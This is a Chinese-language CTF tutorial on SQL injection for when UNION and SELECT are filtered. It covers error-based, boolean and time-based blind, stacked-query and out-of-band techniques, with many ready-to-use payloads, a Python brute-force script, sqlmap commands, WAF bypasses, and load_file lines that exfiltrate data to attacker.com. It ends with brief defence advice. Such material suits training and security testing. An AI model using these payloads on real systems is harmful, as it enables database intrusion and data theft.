1. 联合查询被禁时的困境与破局思路
在CTF比赛的Web安全赛道上,SQL注入始终是高频考点。去年参加某省级CTF时,我遇到一道典型的过滤场景:题目明确过滤了UNION、SELECT等关键词,甚至屏蔽了大小写变种和注释符混淆。这种联合查询(UNION-based)被完全封杀的情况,在近年赛事中越来越常见——根据HackerOne平台统计,2022年CTF赛事中约37%的SQL注入题目会禁用联合查询。
面对这种限制,我们需要转换思路。联合查询的本质是通过追加查询结果集来获取数据,而替代方案的核心在于:利用数据库报错机制、布尔逻辑判断或时间延迟等侧信道技术。下面这张对比表清晰展示了主流技术路线的差异:
| 技术类型 | 原理依据 | 适用场景 | 数据提取效率 |
|---|---|---|---|
| 报错注入 | 数据库错误信息回显 | 显示错误信息的场景 | ★★★★☆ |
| 布尔盲注 | 页面响应差异 | 无报错但存在不同响应 | ★★☆☆☆ |
| 时间盲注 | 条件触发的时间延迟 | 无任何显式反馈的场景 | ★☆☆☆☆ |
| 堆叠查询 | 多语句执行能力 | 支持堆叠查询的数据库 | ★★★★☆ |
| OOB外带 | DNS/HTTP日志外泄数据 | 严格过滤的特殊环境 | ★★☆☆☆ |
实战提示:先通过
?id=1'等简单payload测试错误回显情况,这是选择攻击路径的第一步。如果看到数据库报错信息(如MySQL的"You have an error..."),优先考虑报错注入。
2. 报错注入:利用数据库的"口误"
当应用程序显示数据库错误信息时,报错注入(Error-based)是最高效的替代方案。其核心是故意构造非法查询,让数据库在报错信息中泄露敏感数据。以下是三种经典的报错注入技术:
2.1 updatexml报错注入
MySQL的updatexml函数当XPath参数格式错误时会返回报错信息,我们可以利用这个特性:
?id=1' and updatexml(1, concat(0x7e,(select database()),0x7e),1)--+这个payload的工作原理:
concat(0x7e,(select database()),0x7e)将查询结果用~符号包裹- updatexml第二个参数要求是合法XPath,而~不是合法字符
- 数据库报错时会显示:"XPATH syntax error: '~database_name~'"
2.2 extractvalue报错注入
与updatexml类似,extractvalue函数也有相同的漏洞:
?id=1' and extractvalue(1, concat(0x7e,(select user()),0x7e))--+避坑指南:MySQL 5.7+版本对报错信息长度有限制(默认64字节),可用
substring分段获取数据:?id=1' and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,30),0x7e),1)--+
2.3 几何函数报错
MySQL的几何函数如geometrycollection()、multipoint()等对参数格式有严格要求:
?id=1' and multipoint((select * from(select * from(select version())a)b))--+报错信息会包含:ERROR 1367 (22007): Illegal non-geometric value found during parsing
3. 盲注技术:当数据库保持沉默时
当页面没有任何错误回显时,我们需要依靠盲注(Blind Injection)技术。根据响应差异的显隐程度,可分为布尔盲注和时间盲注。
3.1 布尔盲注实战流程
布尔盲注(Boolean-based)依赖页面响应差异判断查询真假。以登录绕过为例:
admin' and ascii(substr(database(),1,1))>100--完整攻击步骤:
- 判断数据库长度:
?id=1' and length(database())=4--+(通过响应变化确认) - 逐字符猜解:
and substr(database(),1,1)='a' - 自动化工具推荐:
- SQLmap:
sqlmap -u "http://target.com?id=1" --technique=B --batch - 手工脚本示例:
import requests chars = 'abcdefghijklmnopqrstuvwxyz0123456789_' result = '' for i in range(1,20): for c in chars: payload = f"admin' and substr(database(),{i},1)='{c}'-- " r = requests.post(url, data={'uname':payload,'passwd':'1'}) if 'Welcome' in r.text: result += c print(f"Found: {result}") break
- SQLmap:
3.2 时间盲注的精细控制
时间盲注(Time-based)是最隐蔽但最耗时的方案。通过sleep()函数制造条件延迟:
?id=1' and if(ascii(substr(user(),1,1))>100,sleep(3),0)--+关键技巧:
- 使用
BENCHMARK(10000000,MD5(1))替代sleep(当sleep被过滤时) - 二分法加速猜解:
>120→>110→<115... - 网络延迟补偿:建立基准响应时间(如
sleep(0)的平均值)
实战案例:在某次比赛中遇到过滤了sleep和benchmark的情况,最终通过大量复杂计算制造延迟:
?id=1' and (select count(*) from information_schema.columns A, information_schema.columns B, information_schema.columns C) > 1 and 1=1--+
4. 堆叠查询与OOB外带技术
4.1 堆叠查询的妙用
当数据库支持多语句执行时(如PHP的mysqli_multi_query),堆叠查询(Stacked Queries)能绕过联合查询限制:
?id=1'; create table temp as select * from users;-- ?id=1'; select * from temp;--适用场景:
- SQL Server、PostgreSQL默认支持
- MySQL需要特定驱动配置(如PHP的PDO加上
PDO::MYSQL_ATTR_MULTI_STATEMENTS)
4.2 OOB外带数据技术
当所有常规注入都失效时,外带(Out-of-Band)技术通过DNS/HTTP请求泄露数据:
MySQL的load_file触发DNS查询:
?id=1' and load_file(concat('\\\\',(select database()),'.attacker.com\\share'))--+需要配合DNS日志平台接收数据。现代CTF中更常用的HTTP外带:
?id=1'; select load_file(concat('http://attacker.com/?data=',version()));--注意:这种技术需要目标服务器能出网,在实际CTF中需确认题目环境是否开放外部网络访问。
5. 防御对抗与最新绕过技巧
随着WAF技术升级,注入技术也在不断进化。以下是2023年CTF中的新型绕过案例:
5.1 正则过滤绕过
/*!50000select*/ version() # MySQL版本特异性语法 SEL/*xyz*/ECT * FROM users # 注释分割 SET @sql=CONCAT('S','ELECT...'); PREPARE stmt FROM @sql; EXECUTE stmt; # 预处理语句5.2 无列名注入技术
当information_schema被禁用时:
# 通过已知表名猜列数 ?id=1' and (select * from users limit 1)>('a','b','c')--+ # 利用join报错获取列名 ?id=1' and (select * from (select * from users a join users b)c)--+5.3 JSON注入新思路
现代应用常用JSON格式传参:
POST /api HTTP/1.1 Content-Type: application/json {"id":"1' and 1=convert(int,@@version)--"}防御建议:
- 使用参数化查询(Prepared Statements)
- 最小权限原则(数据库账户只读权限)
- 启用WAF的SQL注入防护规则
在最近一次红蓝对抗演练中,我们团队通过组合时间盲注和OOB技术,在完全禁用UNION和报错回显的严格环境下,用时37分钟完成了数据提取。关键是要保持对数据库行为的深刻理解,像侦探一样分析每一个细微的响应差异。